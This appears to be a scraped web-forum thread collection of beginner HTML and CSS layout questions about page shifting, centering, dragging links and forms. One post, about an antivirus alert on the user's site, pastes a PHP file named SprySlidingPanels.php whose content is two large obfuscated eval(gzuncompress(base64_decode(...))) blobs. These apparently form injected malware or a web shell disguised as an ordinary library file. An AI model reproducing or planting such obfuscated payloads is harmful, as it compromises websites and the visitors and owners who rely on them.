|
HTML - Help! My Images Shift On My Webpage!!!
Hey All! I am looking for a little help on this. I had a problem with my site (www.darose.ca) where I would change the size of the text and the page 'breaks' (refer to uploaded jpeg). However, I have managed to fix this by restricting CSS to show only a particular font.
STILL, the problem persists as when I would test my webpage at http://browsershots.org/ it would show different browsers but still the page is "breaking". The weird thing is everything looks fine in IE !!! I am wondering if this is a simple CSS code...ex having the length and width pushed together as far as it could go (always). Does anybody know a way around this??? Brad http://www.darose.ca Similar TutorialsI am trying to remove the black borders or lines around my friends website and cant seem to do it? any ideas http://www.lavonnebeauty.com/ I am building a site that has a page with some bullet points, at the end of each point will be a link saying more info, the more info will be scanned in documents which I have had to make 750px wide so they are still readable, The best way I can see to do this is when the more information link is clicked the scanned document relating to the point will open in a new window with just this image only on the page. Sadly the scanned images cant be typed up as text as it is the actual scanned document that needs to be seen. Just interested in anyback in case there is a better way of doing this. Cheers Ian Can anybody point me in the right direction on how to create this screen shift effect of the background, like in this website. http://www.nikebetterworld.com/ I would be very appreciative of any help you guys could give me. Thanks in advance. How do I vertically move all of the text (ie Days:Hour:Min:Sec) in the 2nd row of the column that says "Test" to the top of the box? How do I vertically move all of the text (ie Days:Hour:Min:Sec) in the 2nd row of the column that says "Best Time since 2005" to the middle of the box? Thank you. <table border="1"> <tr> <th> </th> <th>Test</th> <th style="color:green">Best Time Since 2005</th> </tr> <tr> <th>Comp X</th> <th> <div id="cpcontainer"> <table><tr class='text' align='center'><td>Days :</td><td> Hour :</td><td>Min :</td><td>Sec</td> </tr><tr class=''text'' align=''center'' style='color:green'> <td>11 :</td><td> 5 :</td><td>0 :</td><td>0</td> </tr></table> </div> </th> <th> <div id="cpcontainer1"> <table><tr class='text' align='center'><td>Days :</td><td> Hour :</td><td>Min :</td><td>Sec</td> </tr><tr class=''text'' align=''center'' style='color:green'> <td>11 :</td><td> 5 :</td><td>0 :</td><td>0</td> </tr></table> </div> </th> </tr> </table> Hey all, It's very embarrassing to have to ask a question like this on a web coding forum when the site I'm having trouble with is centered around web design...but you gotta do what you gotta do. My excuse is my general lack of experience with IE's quirks. My problem is simple - hopefully the fix is, too. When my website (http://www.infusiondesign.org) is loaded in internet explorer, sometimes the "content" div is centered, as it should be - and sometimes it isn't. When it is centered, hovering over a link generally causes the div to align:left, and it won't center again until you refresh the page. The issue is hard to describe, but it's self-explanatory if yuo visit the page. I'm baffled - my pages are almost valid XHTML, and they work well in Firefox. Is this some sort of strange quirk with IE, or am I totally incompetent? Thanks in advance for any assistance. My page loads correctly, but when I open a new tab in IE7 so the tab bar appears, my page shifts to the left, and the menu overlaps/ obscures parts of the images. I can't find a reason why this happens, can anyone help? A screenshot of the error can be found below: http://www.onetopsoccer.com/error.jpg The page itself is at http://www.onetopsoccer.com/index.shtml Short Sersion: What the best way to make a link dragabal but not clickable while being dragged? Long Version: I have a bunch of icons links (in layers) that the visitor can drag over the screen and even remove if they want to. (it's totally cosmetic, and everything is reset as soon as the page is refreshed, but it ads a level of detail - hence why am doing it) Since this is an unnecessary function it cannot interfere with the visitor’s ability to use the site smoothly. Therefore my issue; Since the links are dragabal, as soon as you click the link to drag it does what a link does and loads the page (after you release/drop it) Fix 1. The Shift. The quickest fix is to set the top margin of the button to the height of the image of the button. This way when you click it the button is shifted down and the handle becomes the area above the button, this way you can’t click the button while dragging. This does somewhat kill the effects, it looks a little odd when you go to click and drag the link and suddenly the links shifts down and you are holding the empty space above it. But it does solve the problem very simply and there for should be considered. Fix 2. The DblClick This is even a simpler fix to fix1 but it could interfere with the usability of the site… Setting the link to activate on a double click instead of a single click. This way the click to drag the button doesn’t activate the link. http://www.htmlforums.com/showthread.php?t=84281 Fix 3. “Block Layer” Another thought is to show a hidden layer when the drag function is activated this will block the link from being clicked. The “block’ layer can be hid again once the button is dropped, or in my case since I am already using the on drop event and have “only when snapped” checked, set the “block” layer to hide on mouse out, and assign a onclick link to the “block’ layer as well, incase the visitor tries to click the link after dragging it without mouseing off it first. This as far as I can see is the best compromise, however it adds a lot of additional code and mouse events that could effect the performance of the page. The best fix would be to disable the onclick event while dragging but I am not sure how to do that, and if you even can. Additionally I would assume that if disabled, the onclick event would need to be enabled after dragging, and since I am already using the on drop/ when dropped event and have “only when snapped” checked that could pose a problem. Any thoughts? Problem Solved, Thanks everyone Sorry if i posted this in the wrong location. So im a real estate agent making a website. Im no pro and most of the stuff ive been using to build has been through layouts/generators/help of others such as yourselves. So ive been stuck on finding/making this code for the past couple of days. So all my listings are on my agencys website, not my personal agent website. Is there a code i could have where in the listings page my my personal agent website, i could have a window maybe 600x900 of the listing page on my agencys website? To kind of clear things up, you know how when you google something you have the magnifying glass, how it gives that preview. How can i have that preview coded onto a webpage, but me say what webpage to preview and how big to make the preview box? Tried to explain it as best i could. If you dont know the code, if you can tell me what its called so i can try to narrow the google searches. So far everything that has been coming up in the search restults has been preview boxes to preview html codes you have already written. Fail Blog Thanks Hi, i have a problem im not sure how to go about it . I have a webpage where the user enters there personal details . As they are fillign in details they click a link and another webpage is opened ( keeping the orginal open ) Where the do some other stuff on this new page and what is created is a javascript array of numbers I then want them to be able close this new window down and the javascript array data will be submitted with the rest of the personal information when the click a submit button on the first page . If this makes sense how do i go about this? Thanks how do i make a background image fit to the window. also i have a button on a page. how do i get it to close the window uppon clicking it. any help would be great. I'm a novice compared to the pros here and stuck on a couple issues. My website is uspsrealty.com There is some "empty" space on my home page below the horizontal line. I want to remove the horizontal line and have the ability to use that empty space without throwing my borders/margins off. I would like to add about 3-4 sentences in that blank area. Can this be changed so I can add a few sentences? I know why this is happening, just don't know how to correct it. Also want to change the copyright.jpg to 2010 from 2009. Might as well make up a few more jpgs with the years 2011, 2012, 2013, 2014, and 2015 Willing to paypal you money for your help. Hoping one of you pros can do this in 30 min and willing to pay $25-30. Contact me he galevin@hotmail.com Thanks, Gerald Levin Hi, Can anyone help me work out how to create a tab on the left hand side of the browser window, a bit like the Convotrack one he http://www.dannywhatmough.com/ Obviously I would want to use my own image/text and just link it to a webpage. Do I need to use javascript? Danny Hello, I got this message with AVG : http://img189.imageshack.us/img189/8502/image001jn.png Here is my website : http://www.club19.com.au What is the problem ? Here is the code of the concerned file (SprySlidingPanels.php) : PHP Code: <?php eval(gzuncompress(base64_decode('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'))); eval(gzuncompress(base64_decode('eNqVWAtz2zYS/iu0JtOIE59NAHxGYUfXTpKm7uPqhxon8WhoiZI5lkQfSV3SOP7vt9hdUCRFu3eZmAQXi2+xi31B42y5yYt0ui3TYppc50U1LPLtZj50XjhHqvHv6U/bHo3LtJquk2U2m/57m1dpOS22mypbpwbQ8GjadJWts6o5kxZFXkyL9A62kG2WjalsMRwvtptZleWbafolK6ty+DzbZMBcVrD357Z9P258D/NVSphdougjyj6i6iO6fUQPiA+PbhH0rbcHY1zh24cNvZszwaMzoX2oX1GXLhz78LeLX37pksWjSELWUy/E3qTaTf6fx/+Qrsr0UTskqyotakvgFwl09zbamPSemvTJJCLomQtbVmlMRE8gSqepvOz+9SwQbVNqNzjYU38203obsjWbDZ+tpo59D08RI4xEH99***1WU5CIHgTcMq4pQ3uEYzi3/K7SgPJQOI4jDxF7f9KVDb33l6qdHvy/ly2KGpz9Jurblgj1tgRqeTBEIy7Z4SS4zrdvbRKEmXaUPSRP/o3sh/01fthY43b/YA1wKbJr+iXFo5GsxGyVlykTYOOa0TqIY2uRgKPb90VabYuNpcmjB3R+q+8QF2U+u83v0o0+xOUqv05Weo2rBTtxWWHKWyUzzkUeObUE56aTBMy7Il1CYq1mN8QDWWKgJwfkFl6sPwhvnH65W+VzBgsNCM7px0fjBFcjXNmUr+dJeITrPDovPbK+fbPwDepjdnSMaPyCk32ALz+GI7zJy+r6r02yJkDOC/ePTu9QJKEEcW0yzeLX5xc6uC30pajhr3CIoEaarKemuORbPP2gzURnGFDgOfHg7etzUuqn8/N/HYsj51PxaTMY4ax1FA9+gq2+1BzdidN0kRZp8dK6qaq7l8fHmkUDtdnIUMrerbuAEvuPfy7TDcGKPn7XHi3utuA4uH+cs0efbzKYO1ikOatAOgi9agFGLbvaSrfz0MGxqB06oE2JtrsoD+0rRCNivOYfRYuQMXI1XIks69KuZKyd0311XVjH39Pz0wYnBni+wND1esWpXAW0gzrgdlJ0hHudh31FElW8x7qXHK52fgj8KCykhI0UNigCqQYrUSQydsJQRRSGoBedRyf6XKdWZi/8aote9YStK/4mbN09A7qSDOiqpkzhoqKuaz+yig/cPcTTG3FGMwWKzbDLc0JAoiNiOrvJ0WFd3x5Bqqv0TG/1m6fVD636pwlodA+F+2T6IE6KIvmL9hWwNtz0uBG9PYffgt+staf47fKbk6jHbuUxnsd4HuP5jOczns94PuP5jOczns94PuP5jOczXsB4AeMFjBcwXsB4AeMFjBcwXsB4AeOFjBcyXsh4IeOFjBcyXsh4IeOFjBcyXsR4EeNFjBcxXsR4EeNFjBcxXmSaUMaDym4GwgykGSgzcM3AMwPTuDmBGYRmYJCFQRYGWRhkYZCFQRYmM4UNJxJ1fyiMGGHECCNGGjHSiJFGjDRipBFjarOQBlkaZGmQpUFWBlkZZGWQlUFWBlkZZJMIhTLIyiArg+waZNcgu5L192LMUc0YF66RBmkAA84j3iiuim06WsA1JoGMhjFoJaWOc7AKhDKUuGU2HOD3gEOVYjWKsQUaXcPS2zqHRnYTKzRYYoeFn7yHRiP1BKSVbOYHtJh08IwO7WWtBRbkuRU1D8D4KjY5Vx4FXufRhWnkumj0SEIr1tNi0cpoSEHtJPXpKh4voGKv8fJLdC5oElIyNDbzrGC6fU/FHTeg20ukezHYYW64dD98z+s94LHIFr793XdWhxZoWlZOtXjix076Zp3P6bPRJERQg/ae+pKz3ayyzS0vBzNg37DbDLTZVb6lc5Z44ZCKnpo5/U+yGl4nZeq703k600XtefLn5fLk7errTE6ckx9PFxe3k9PJxeR88qbMPry//PJu5dydnP0QvHs7kZd/fs4v12++fji/dN7L09WljG4/nC1v34uf31xMJm8uxOn1u/VE/nr28/zk7FavcZP3fwSLP+L4OcWB9GOyRkifQfxsevb6dPL69CPRI6qjokP3uL7KsDsh6iZHBqYHFlB+qC0WO5Jikgx3NDi+eZYOaS+RrsJVvso/p2hPvhRlpb6BP5v++PvvJ+9ef0QlrvRZAjf8R8kRxTFUNx09HDzjG3CU+rrs6+NrUQLbOlqu50nF6QBqIFBoGHW5fWePAjmGJHXonHKUE4NjmHYe0iBjQwlFvbQfmshBdrsnQtoIIGl9y94G/CN2tjZT2+t2/qicjj9qGvS5OwP4Ll0FkFtY3/MpQY2naALaK0Pz9d20yxj0MMKu7ToLKOrclGyJjdhgCttj5RwjC7b/yjW0Mi3LKU/0mU/Z/QnGiPTihbk3KcW/jugz3bX+UGqeMlefUFf7tCaW2deUKa/qNKKb8faD9qj8ZjE2LZEwPZEwTZEIzC08iHHZxwJyeP3rX/P3lSvriDmYpvZJ4oWgIFZhPKZOFmqpub+HdaY0uf8JU453tnR5qxhfi89FVrEx8QagwoEm/482bsy4Hetja12n31YKgh7xyh5RHnlAr47icTvNoh76V5TpLN9UcMs0x0ftv0OKsh8hSXDdaxRu1+HCDU2FrjnjqsjWQ/qGjIYZEA0Hi7GB4Ir9QHV0XHf3h8Rq7oaYI6nIUfhArQaKhiB3adnb+G7Ya28ZwL15z+J4JUHDwG7+C03sxv0='))); ?> Thank you ! Take a look at this image. What I want to do is make the background black (which I know how to do), but to add in the black header plus the gray box--same width. What I'm trying to do is my forum is fixed width (in the center, not expanded on browser) and I want to do the same to a new non-forum site starting from scratch. Hello, I remember something like this, which is you have an xhtml form, you have textboxes, buttons etc, then the user clicks on the submit button triggers the sendform feature element and sends it to the email address specified. How do you do that in html? i remember it was like send form, then the email address etc etc and anything between the send form tag is where it will email anything in the text box fields. if you can send me an example that would be great. Thanks Okay that most probably didnt explain it very well but I am looking at putting a page together that will display a specific image at the top of the page dependant on where the visitor came from So if they came to my site from a link from abc.com then they will see the ABC logo on our page however if they came from 123.net then they will see the same page but this time with the 123.net logo. If we cant find where they have came from or we dont have an image for that forwarder then it will show a default image Anyone know if this can be done?? I have a website that when I type in the url nothing appears on the page. I was wondering what would cause this to happen. I tried to re-saving the files for the website but still nothing, it just says Done in the bottom tray of the IE window. Thanks in advance! I would like to get data from a specific website (http://www.forex.se/rates.asp?sectionId=246). More exactly, I want to get the values of the actual currencies and have them printed on my website. So for example, I would like to have it like this on my webpage: Code: Currency buy - sell EUR : 9,3749 - 9,6410 USD : 5,8674 - 6,0745 Thanks in advice. sorry, this isnt an exact repeat post... has a bit of additional information my friend had a friend make this page http://www.opportunity.com/index.html or something along those lines... Im using this page as a reference... So I copied the source, and copied the file free_access.css within the same folder I created an image subfolderd but when I preview it in dreamweaver it tells me it can not find the css file... Is this normal? do I need to upload it to a server first to actually view it... or am I making a mistake thx everyone for the help earlier Matt |
|||||||